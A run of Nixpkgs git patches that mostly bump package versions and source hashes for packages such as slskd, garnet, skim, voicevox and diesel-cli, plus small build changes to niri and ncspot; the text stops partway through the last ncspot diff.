 pkgs/by-name/re/refine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/refine/package.nix b/pkgs/by-name/re/refine/package.nix
index 946e2d13517c..5d14b4100b56 100644
--- a/pkgs/by-name/re/refine/package.nix
+++ b/pkgs/by-name/re/refine/package.nix
@@ -21,7 +21,7 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "refine";
-  version = "0.5.9";
+  version = "0.5.10";
   pyproject = false; # uses meson
 
   src = fetchFromGitLab {
@@ -29,7 +29,7 @@ python3Packages.buildPythonApplication rec {
     owner = "TheEvilSkeleton";
     repo = "Refine";
     tag = version;
-    hash = "sha256-jX2U6YZCvB8IxUHoByO4egqV40C/L/O8z7AIEYYHBRY=";
+    hash = "sha256-/CyenSdF0dZR6HLw9FTv+OhJfNg55/dGE9y1A1hbcPA=";
   };
 
   nativeBuildInputs = [

From 9f5164fd1d91da38e21a487ccb07ebd07504bcb9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 14 Jul 2025 13:33:33 +0000
Subject: [PATCH 2404/4511] slskd: 0.22.5 -> 0.23.1

(cherry picked from commit 9f66a9657ba41bdcaffd543b3278c689f704a8bc)
---
 pkgs/by-name/sl/slskd/deps.json   | 4 ++--
 pkgs/by-name/sl/slskd/package.nix | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/sl/slskd/deps.json b/pkgs/by-name/sl/slskd/deps.json
index afffb6a8d3dd..b58ab14bb3d8 100644
--- a/pkgs/by-name/sl/slskd/deps.json
+++ b/pkgs/by-name/sl/slskd/deps.json
@@ -781,8 +781,8 @@
   },
   {
     "pname": "Soulseek",
-    "version": "7.0.3",
-    "hash": "sha256-/GCUh4XJ4zs5etxQ0GjNJozkS2GZ/Qq1cot1+bRQack="
+    "version": "7.1.0",
+    "hash": "sha256-n6LUNuPmmy9QYNNALR0ObYyR9LJalf0H8P+SKnoqfFc="
   },
   {
     "pname": "SQLitePCLRaw.bundle_e_sqlite3",
diff --git a/pkgs/by-name/sl/slskd/package.nix b/pkgs/by-name/sl/slskd/package.nix
index a5bc3bedfc3c..ef94103af49a 100644
--- a/pkgs/by-name/sl/slskd/package.nix
+++ b/pkgs/by-name/sl/slskd/package.nix
@@ -19,13 +19,13 @@ let
 in
 buildDotnetModule rec {
   pname = "slskd";
-  version = "0.22.5";
+  version = "0.23.1";
 
   src = fetchFromGitHub {
     owner = "slskd";
     repo = "slskd";
     tag = version;
-    hash = "sha256-gLPWbRffoCJAdg8zP9idfnzqT1nIZrI88cYUd/DyxZA=";
+    hash = "sha256-vUqDWzWJIZbb6WvANsLhUBzyQFi59/+jizarI8Ob3uQ=";
   };
 
   nativeBuildInputs = [
@@ -40,7 +40,7 @@ buildDotnetModule rec {
     name = "${pname}-${version}-npm-deps";
     inherit src;
     sourceRoot = "${src.name}/${npmRoot}";
-    hash = "sha256-GACe+ufxiSlS1aD9R+I8VqbZqi2gCHUp+Dm/XMx2WZQ=";
+    hash = "sha256-AbIlpu0KNuzwSQVIsSRhLQZqE3yA68DlIL4WbZ34Hi8=";
   };
 
   projectFile = "slskd.sln";

From e1e4b5fee59c18487c003a2feb91012c7f53d558 Mon Sep 17 00:00:00 2001
From: Flokkq <webcla21@htl-kaindorf.at>
Date: Mon, 7 Jul 2025 12:09:07 +0200
Subject: [PATCH 2405/4511] woomer: 0.1.0 -> 0.2.0

Signed-off-by: Flokkq <webcla21@htl-kaindorf.at>
(cherry picked from commit 7cd7a16d7a8dc6b0c3b305200d13a89c540f76ac)
---
 pkgs/by-name/wo/woomer/package.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wo/woomer/package.nix b/pkgs/by-name/wo/woomer/package.nix
index f3984cb551fa..cafcacacd82b 100644
--- a/pkgs/by-name/wo/woomer/package.nix
+++ b/pkgs/by-name/wo/woomer/package.nix
@@ -8,21 +8,22 @@
   pkg-config,
   rustPlatform,
   wayland,
+  libgbm,
 }:
 
 rustPlatform.buildRustPackage rec {
   pname = "woomer";
-  version = "0.1.0";
+  version = "0.2.0";
 
   src = fetchFromGitHub {
     owner = "coffeeispower";
     repo = "woomer";
     tag = version;
-    hash = "sha256-puALhN54ma2KToXUF8ipaYysyayjaSp+ISZ3AgQvniw=";
+    hash = "sha256-LcL43Wq+5d7HPsm2bEK0vZsjP/dixtNhMKywXMi4ODw=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-VQee/2adBvJpJDihWuo22JNyDKLkZ9PrVqWPB/gJ9Sw=";
+  cargoHash = "sha256-xll/A0synEsXy9kPThA3bR8LRuAOQH0T6CAfIEoYJ0w=";
 
   strictDeps = true;
 
@@ -35,6 +36,7 @@ rustPlatform.buildRustPackage rec {
   buildInputs = [
     glfw3
     wayland
+    libgbm
   ];
 
   # `raylib-sys` wants to compile examples that don't exist in its crate

From 18b32bb08f2c5f45cbab8d345648ab64278b04b3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 9 Jul 2025 02:56:01 +0000
Subject: [PATCH 2406/4511] lock: 1.6.2 -> 1.6.5

(cherry picked from commit 45652f3496764d5f6a0850deeadbdf910056f303)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index 3e7a33fea314..7a127bed79a2 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.6.2";
+  version = "1.6.5";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Ct5INzqSNbGVSlpQsAuAXFlcZHmN/L4eLCZ4/Di5apQ=";
+    hash = "sha256-SomQYgc3F7w5DB0+j4peYTLSdHsrg9fw3h15gU3DTKU=";
   };
 
   strictDeps = true;

From c5aaa19603bf7b9ddf3a9af31f430e5bd8e06d54 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 14 Jul 2025 15:23:53 +0000
Subject: [PATCH 2407/4511] easyeffects: 7.2.3 -> 7.2.4

(cherry picked from commit 22d30269657caa3dd4cdbe65e15a14a69aaf671d)
---
 pkgs/by-name/ea/easyeffects/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ea/easyeffects/package.nix b/pkgs/by-name/ea/easyeffects/package.nix
index 9cc27b35d31a..49db81c475b9 100644
--- a/pkgs/by-name/ea/easyeffects/package.nix
+++ b/pkgs/by-name/ea/easyeffects/package.nix
@@ -48,13 +48,13 @@ in
 
 stdenv.mkDerivation rec {
   pname = "easyeffects";
-  version = "7.2.3";
+  version = "7.2.4";
 
   src = fetchFromGitHub {
     owner = "wwmm";
     repo = "easyeffects";
     tag = "v${version}";
-    hash = "sha256-bTyPStOQusIho8x6RI+2Z+4wHSG9ERjo4NuvLUILIm8=";
+    hash = "sha256-C+zorQ7AFx72eOHUtjCHB2/1i1gnAoSMfEB+dWJIXHM=";
   };
 
   nativeBuildInputs = [

From a3be61fbd88383ce2d908bf7afdfd52e71ce2e0d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 9 Jun 2025 05:08:01 +0000
Subject: [PATCH 2408/4511] garnet: 1.0.69 -> 1.0.70

(cherry picked from commit b31941ea59dd0460a54b845e2ec351da62a19798)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index babed86be830..d79c2532dd09 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.69";
+  version = "1.0.70";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-U90y8VxGrRgXTdrusImNK2kRO+Tw9uiXoMiEb3YgaBM=";
+    hash = "sha256-E+fwtD0AcUCHhHrnR7OV2mnDtGUnkJkLBKl6DbXlooU=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 0a8e20a2f0d41bb1f5c3eba0a7ac52aa954734cb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 05:51:50 +0000
Subject: [PATCH 2409/4511] garnet: 1.0.70 -> 1.0.72

(cherry picked from commit 2756e83f13e5fc3dbd0537d3fe9e3b5175345870)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index d79c2532dd09..00c4e20796a3 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.70";
+  version = "1.0.72";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-E+fwtD0AcUCHhHrnR7OV2mnDtGUnkJkLBKl6DbXlooU=";
+    hash = "sha256-2hJl1JwwfAWZFEo1eUPXCoglj11qu1IzFkQlMl9lxm8=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 05c21f95ad69f9f970d74db3336a364b3bd5222d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 7 Jul 2025 17:13:49 +0000
Subject: [PATCH 2410/4511] garnet: 1.0.72 -> 1.0.75

(cherry picked from commit 1e2fbcb24ee6b722eea23531ee30a0031a273c9a)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index 00c4e20796a3..e52bb9b66264 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.72";
+  version = "1.0.75";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-2hJl1JwwfAWZFEo1eUPXCoglj11qu1IzFkQlMl9lxm8=";
+    hash = "sha256-Kn5ZEBdYS4jIgd/D1RwwCEwsR49jEUa+HeXad7hPUlE=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 6a42c17795bd3f26b654b6bfabab1298ccc4338b Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Mon, 23 Jun 2025 12:06:13 +0530
Subject: [PATCH 2411/4511] skim: 0.18.0 -> 0.20.1

Diff: https://github.com/skim-rs/skim/compare/refs/tags/v0.18.0...v0.20.1
Changelog: https://github.com/skim-rs/skim/releases/tag/v0.20.1
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit e0e6662c9ace75c0cc5096fc423738b87f1358b0)
---
 pkgs/by-name/sk/skim/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index aee7240ff1ae..81e8dd3276df 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "skim";
-  version = "0.18.0";
+  version = "0.20.1";
 
   outputs = [
     "out"
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec {
     owner = "skim-rs";
     repo = "skim";
     tag = "v${version}";
-    hash = "sha256-79HHJeAP3pnM/KAdGsGw31MRXl3Qz2ttTvXX+oBCcow=";
+    hash = "sha256-6pvvZnhvju8JvRy93/128+6AH935UK5NbMx2kxzCjqY=";
   };
 
   postPatch = ''
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage rec {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-N1s6Kf6iy28QcrLQy6TVbXjfSb9KtzJeaKksW4wXsMw=";
+  cargoHash = "sha256-Hg7MWz0QAeI8l9if4QHUcUqU+5UI+H+dYw+ryCuRe/Y=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From b7fc9a2b58fb0287d94ede6579fc4199794afdef Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Mon, 30 Jun 2025 09:51:53 +0530
Subject: [PATCH 2412/4511] skim: 0.20.1 -> 0.20.2

Diff: https://github.com/skim-rs/skim/compare/refs/tags/v0.20.1...v0.20.2
Changelog: https://github.com/skim-rs/skim/releases/tag/v0.20.2
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit 0db6182d1a9557e81b061eda85a249e1ba911943)
---
 pkgs/by-name/sk/skim/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index 81e8dd3276df..5b4c0ab00030 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "skim";
-  version = "0.20.1";
+  version = "0.20.2";
 
   outputs = [
     "out"
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec {
     owner = "skim-rs";
     repo = "skim";
     tag = "v${version}";
-    hash = "sha256-6pvvZnhvju8JvRy93/128+6AH935UK5NbMx2kxzCjqY=";
+    hash = "sha256-fEd6t+adYI1jpRapZ/XHpxVWtX0nwUl9ZurIwywSFgk=";
   };
 
   postPatch = ''
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage rec {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Hg7MWz0QAeI8l9if4QHUcUqU+5UI+H+dYw+ryCuRe/Y=";
+  cargoHash = "sha256-oRcqaXWa/eh5QQtTk0NQr90aL/Q0zgxQbPIoMLMtHe8=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 454ff9c0c961e9a6d9fc7e328e9581562a9ae2b4 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 10 Jul 2025 08:46:55 +0200
Subject: [PATCH 2413/4511] voicevox-core: 0.15.8 -> 0.15.9

(cherry picked from commit 156b96181c7bbe8189243f483feb3d1f6f682021)
---
 pkgs/by-name/vo/voicevox-core/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/vo/voicevox-core/package.nix b/pkgs/by-name/vo/voicevox-core/package.nix
index 0ccdfa46688f..7b9cbe55c16f 100644
--- a/pkgs/by-name/vo/voicevox-core/package.nix
+++ b/pkgs/by-name/vo/voicevox-core/package.nix
@@ -8,7 +8,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "voicevox-core";
-  version = "0.15.8";
+  version = "0.15.9";
 
   src = finalAttrs.passthru.sources.${stdenv.hostPlatform.system};
 
@@ -42,19 +42,19 @@ stdenv.mkDerivation (finalAttrs: {
     {
       "x86_64-linux" = fetchCoreArtifact {
         id = "linux-x64";
-        hash = "sha256-n0rYSMR5wgjAtlQ4DWRAhJW/VevGG/Mmj6lXieG1U78=";
+        hash = "sha256-dEikEQcGL6h59nTxY833XGBawUjceq8NxIUVhRdQ2I8=";
       };
       "aarch64-linux" = fetchCoreArtifact {
         id = "linux-arm64";
-        hash = "sha256-GOgBH0UinZMiNszTp2CWJKT9prTi84KH3V9fxpmweeU=";
+        hash = "sha256-92aZEb2bz7xXA4uSo3lWy/cApr88I+yNqDlAWo6nFpg=";
       };
       "x86_64-darwin" = fetchCoreArtifact {
         id = "osx-x64";
-        hash = "sha256-8TRlu1ztPciKDX9Igr0TKcyLzP8WRwTN9F11MjXNNW8=";
+        hash = "sha256-/5MghfgI8wup+o+eYMgcjI9Mjkjt1NPuN0x3JnqAlxg=";
       };
       "aarch64-darwin" = fetchCoreArtifact {
         id = "osx-arm64";
-        hash = "sha256-6Na7LBZg2bWaX1VN6r6zdyg0mszBNn0e7u+cmqKVuY0=";
+        hash = "sha256-UrgI4dy/VQCLZ/gyMX0D0YPabtw3IA76CpjLmbFLQeY=";
       };
     };
 

From 4ca37189435cde68b32cb8071123c3d0113f47d2 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 10 Jul 2025 08:47:21 +0200
Subject: [PATCH 2414/4511] voicevox-engine: 0.24.0 -> 0.24.1

(cherry picked from commit c0c00881bd8287cb7356045e3484b50685d51957)
---
 pkgs/by-name/vo/voicevox-engine/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vo/voicevox-engine/package.nix b/pkgs/by-name/vo/voicevox-engine/package.nix
index 0ca639093865..b999573501de 100644
--- a/pkgs/by-name/vo/voicevox-engine/package.nix
+++ b/pkgs/by-name/vo/voicevox-engine/package.nix
@@ -7,14 +7,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "voicevox-engine";
-  version = "0.24.0";
+  version = "0.24.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "VOICEVOX";
     repo = "voicevox_engine";
     tag = version;
-    hash = "sha256-LFbKnNv+NNfA6dvgVGr8fGr+3o5/sAyZ8XFZan2EJUY=";
+    hash = "sha256-WoHTv4VjLFJPIi47WETMQM8JmgBctAWlue8yKmi1+6A=";
   };
 
   patches = [
@@ -99,7 +99,7 @@ python3Packages.buildPythonApplication rec {
       owner = "VOICEVOX";
       repo = "voicevox_resource";
       tag = version;
-      hash = "sha256-/L7gqskzg7NFBO6Jg2MEMYuQeZK58hTWrRypTE42nGg=";
+      hash = "sha256-4D9b5MjJQq+oCqSv8t7CILgFcotbNBH3m2F/up12pPE=";
     };
 
     pyopenjtalk = python3Packages.callPackage ./pyopenjtalk.nix { };

From 4d68b3386b56f881dda82d86871422352c991f18 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 10 Jul 2025 08:47:34 +0200
Subject: [PATCH 2415/4511] voicevox: 0.24.1 -> 0.24.2

(cherry picked from commit 081f667906573b91e7d3c5b4cdeaacf5035f6eeb)
---
 pkgs/by-name/vo/voicevox/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vo/voicevox/package.nix b/pkgs/by-name/vo/voicevox/package.nix
index d2ca2cda3f53..ecbb2abd7703 100644
--- a/pkgs/by-name/vo/voicevox/package.nix
+++ b/pkgs/by-name/vo/voicevox/package.nix
@@ -23,13 +23,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "voicevox";
-  version = "0.24.1";
+  version = "0.24.2";
 
   src = fetchFromGitHub {
     owner = "VOICEVOX";
     repo = "voicevox";
     tag = finalAttrs.version;
-    hash = "sha256-2MXJOLt14zpoahYjd3l3q5UxT2yK/g/jksHO4Q7W6HA=";
+    hash = "sha256-ploFrzxIseyUD7LINnFmshrg3QJV8KUkdbvDoJ/VkRk=";
   };
 
   patches = [

From d224683b6cd1939012e2bf5ead11b0ff18481dc1 Mon Sep 17 00:00:00 2001
From: sodiboo <git@sodi.boo>
Date: Wed, 18 Jun 2025 18:36:28 +0200
Subject: [PATCH 2416/4511] niri: add doc output

(cherry picked from commit 2b48c0cee095d32f58048d76ec0961067d162bb5)
---
 pkgs/by-name/ni/niri/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/ni/niri/package.nix b/pkgs/by-name/ni/niri/package.nix
index 338564c76338..f45305ce3c75 100644
--- a/pkgs/by-name/ni/niri/package.nix
+++ b/pkgs/by-name/ni/niri/package.nix
@@ -34,6 +34,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-z4viQZLgC2bIJ3VrzQnR+q2F3gAOEQpU1H5xHtX/2fs=";
   };
 
+  outputs = [
+    "out"
+    "doc"
+  ];
+
   postPatch = ''
     patchShebangs resources/niri-session
     substituteInPlace resources/niri.service \
@@ -75,6 +80,9 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   postInstall =
     ''
+      install -Dm0644 README.md resources/default-config.kdl -t $doc/share/doc/niri
+      mv wiki $doc/share/doc/niri/wiki
+
       install -Dm0644 resources/niri.desktop -t $out/share/wayland-sessions
     ''
     + lib.optionalString withDbus ''

From 0ffad0a745a150fb4abaa136f29397ea26788dc6 Mon Sep 17 00:00:00 2001
From: Leah Amelia Chen <hi@pluie.me>
Date: Wed, 18 Jun 2025 14:25:23 +0200
Subject: [PATCH 2417/4511] niri: explicitly set commit hash to "Nixpkgs"

Upstream recommends[^1] that in build environments where the Git history
is not available, packagers should manually set the commit hash. Given
that currently in Nixpkgs we don't have a great way of obtaining the hash
through the usual fetchers and update scripts, we could just set it to
"Nixpkgs" for now, to indicate to the user that their Niri binary is
built from Nixpkgs and not from source, for example.

[^1]: https://github.com/YaLTeR/niri/wiki/Packaging-niri#version-string

(cherry picked from commit f2352c2c8ba730084405bd714f1a6eb0792e5dec)
---
 pkgs/by-name/ni/niri/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/ni/niri/package.nix b/pkgs/by-name/ni/niri/package.nix
index 338564c76338..0d1fee061e5c 100644
--- a/pkgs/by-name/ni/niri/package.nix
+++ b/pkgs/by-name/ni/niri/package.nix
@@ -101,6 +101,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
         "-Wl,--pop-state"
       ]
     );
+
+    # Upstream recommends setting the commit hash manually when in a
+    # build environment where the Git repository is unavailable.
+    # See https://github.com/YaLTeR/niri/wiki/Packaging-niri#version-string
+    NIRI_BUILD_COMMIT = "Nixpkgs";
   };
 
   nativeInstallCheckInputs = [ versionCheckHook ];

From 42502c2e016df55a03642f37755b2f6b54004004 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 23 Jun 2025 20:15:02 +0000
Subject: [PATCH 2418/4511] diesel-cli: 2.2.10 -> 2.2.11

(cherry picked from commit bee4a14cc7a78dff7d9457506f9ce3ece4ed5fbc)
---
 pkgs/by-name/di/diesel-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/di/diesel-cli/package.nix b/pkgs/by-name/di/diesel-cli/package.nix
index 49b1bf26dd83..4c72fc27f2d8 100644
--- a/pkgs/by-name/di/diesel-cli/package.nix
+++ b/pkgs/by-name/di/diesel-cli/package.nix
@@ -27,16 +27,16 @@ assert lib.assertMsg (lib.elem true [
 
 rustPlatform.buildRustPackage rec {
   pname = "diesel-cli";
-  version = "2.2.10";
+  version = "2.2.11";
 
   src = fetchCrate {
     inherit version;
     crateName = "diesel_cli";
-    hash = "sha256-ELl8jrTWu2pXn2+ZQh7Z/lrmxRCkCXCCXvXcAKF5IJg=";
+    hash = "sha256-utiIuifPxHjvC0TkY2XLeOlqReaal/4T4hrJ7tmQ27k=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-uijO0eAc9U7T5SDh3iCr/wC257Q83VOJGop4KADGfgA=";
+  cargoHash = "sha256-QHcH0jgBAYtyYJoaBJW92HR5ZBgdMLupe5+l22Wpfjg=";
 
   nativeBuildInputs = [
     installShellFiles

From 2a3b99f1684a4c8cdc70c9c193bcdeadb835b480 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 07:33:27 +0000
Subject: [PATCH 2419/4511] diesel-cli: 2.2.11 -> 2.2.12

(cherry picked from commit 27d923abbe61dd535932f1d645c5ef902c5d55f0)
---
 pkgs/by-name/di/diesel-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/di/diesel-cli/package.nix b/pkgs/by-name/di/diesel-cli/package.nix
index 4c72fc27f2d8..0205540f90df 100644
--- a/pkgs/by-name/di/diesel-cli/package.nix
+++ b/pkgs/by-name/di/diesel-cli/package.nix
@@ -27,16 +27,16 @@ assert lib.assertMsg (lib.elem true [
 
 rustPlatform.buildRustPackage rec {
   pname = "diesel-cli";
-  version = "2.2.11";
+  version = "2.2.12";
 
   src = fetchCrate {
     inherit version;
     crateName = "diesel_cli";
-    hash = "sha256-utiIuifPxHjvC0TkY2XLeOlqReaal/4T4hrJ7tmQ27k=";
+    hash = "sha256-cBufd4HwNffkK2VDPMMUT1qZfgKNa6XKpxT5QlQesyc=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-QHcH0jgBAYtyYJoaBJW92HR5ZBgdMLupe5+l22Wpfjg=";
+  cargoHash = "sha256-CmzUe/R9iFU//u0/FxMonYWyx0EJnI/blUktYN/eNe8=";
 
   nativeBuildInputs = [
     installShellFiles

From a4a25e40b28b7777063d8a492385ebb5bde400d1 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Fri, 4 Jul 2025 17:11:55 -0700
Subject: [PATCH 2420/4511] ncspot: use finalAttrs

(cherry picked from commit d2fb3200139488d293412a33d3338ccfd1cfc4f9)
---
 pkgs/by-name/nc/ncspot/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/nc/ncspot/package.nix b/pkgs/by-name/nc/ncspot/package.nix
index 2afbec1ace85..9f716216aba4 100644
--- a/pkgs/by-name/nc/ncspot/package.nix
+++ b/pkgs/by-name/nc/ncspot/package.nix
@@ -32,14 +32,14 @@
   withTermion ? false,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ncspot";
   version = "1.2.2";
 
   src = fetchFromGitHub {
     owner = "hrkfdn";
     repo = "ncspot";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-4zeBTi1WBy9tXowsehUo4qou6bhznWPeCXFg+R3akho=";
   };
 
@@ -91,7 +91,7 @@ rustPlatform.buildRustPackage rec {
   meta = {
     description = "Cross-platform ncurses Spotify client written in Rust, inspired by ncmpc and the likes";
     homepage = "https://github.com/hrkfdn/ncspot";
-    changelog = "https://github.com/hrkfdn/ncspot/releases/tag/v${version}";
+    changelog = "https://github.com/hrkfdn/ncspot/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.bsd2;
     maintainers = with lib.maintainers; [
       liff
@@ -99,4 +99,4 @@ rustPlatform.buildRustPackage rec {
     ];
     mainProgram = "ncspot";
   };
-}
+})

From 3b35470bc2b58aac6e5b75c223c6289394629c0c Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Fri, 4 Jul 2025 17:13:50 -0700
Subject: [PATCH 2421/4511] ncspot: remove use of fetchCargoVendor

(cherry picked from commit da8158dbd772e4e7dda1c6eeef1cfc6159e58f11)
---
 pkgs/by-name/nc/ncspot/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/nc/ncspot/package.nix b/pkgs/by-name/nc/ncspot/package.nix
index 9f716216aba4..565e51530f08 100644
--- a/pkgs/by-name/nc/ncspot/package.nix
+++ b/pkgs/by-name/nc/ncspot/package.nix
@@ -43,7 +43,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-4zeBTi1WBy9tXowsehUo4qou6bhznWPeCXFg+R3akho=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-c16qw2khbMXTA8IbYQnMKqivO63DwyAWKfV2P1aD7dU=";
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optional withClipboard python3;

From 86b4dcb04913982d24ce2bd049d57b5dbeb21e41 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Fri, 4 Jul 2025 17:15:44 -0700
Subject: [PATCH 2422/4511] ncspot: use versionCheckHook

(cherry picked from commit b86ec4ba6df0fa5853db17e60079d76183227f33)
---
 pkgs/by-name/nc/ncspot/package.nix | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/nc/ncspot/package.nix b/pkgs/by-name/nc/ncspot/package.nix
index 565e51530f08..84ddcf446fa3 100644
--- a/pkgs/by-name/nc/ncspot/package.nix
+++ b/pkgs/by-name/nc/ncspot/package.nix
@@ -7,7 +7,6 @@
   fetchFromGitHub,
   libpulseaudio,
   libxcb,
-  ncspot,
   ncurses,
   nix-update-script,
   openssl,
@@ -15,7 +14,7 @@
   portaudio,
   python3,
   rustPlatform,
-  testers,
+  versionCheckHook,
   ueberzug,
   withALSA ? stdenv.hostPlatform.isLinux,
   withClipboard ? true,
@@ -82,10 +81,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     install -D --mode=444 $src/images/logo.svg $out/share/icons/hicolor/scalable/apps/ncspot.svg
   '';
 
-  passthru = {
-    tests.version = testers.testVersion { package = ncspot; };
-    updateScript = nix-update-script { };
-  };
+  doInstallCheck = true;
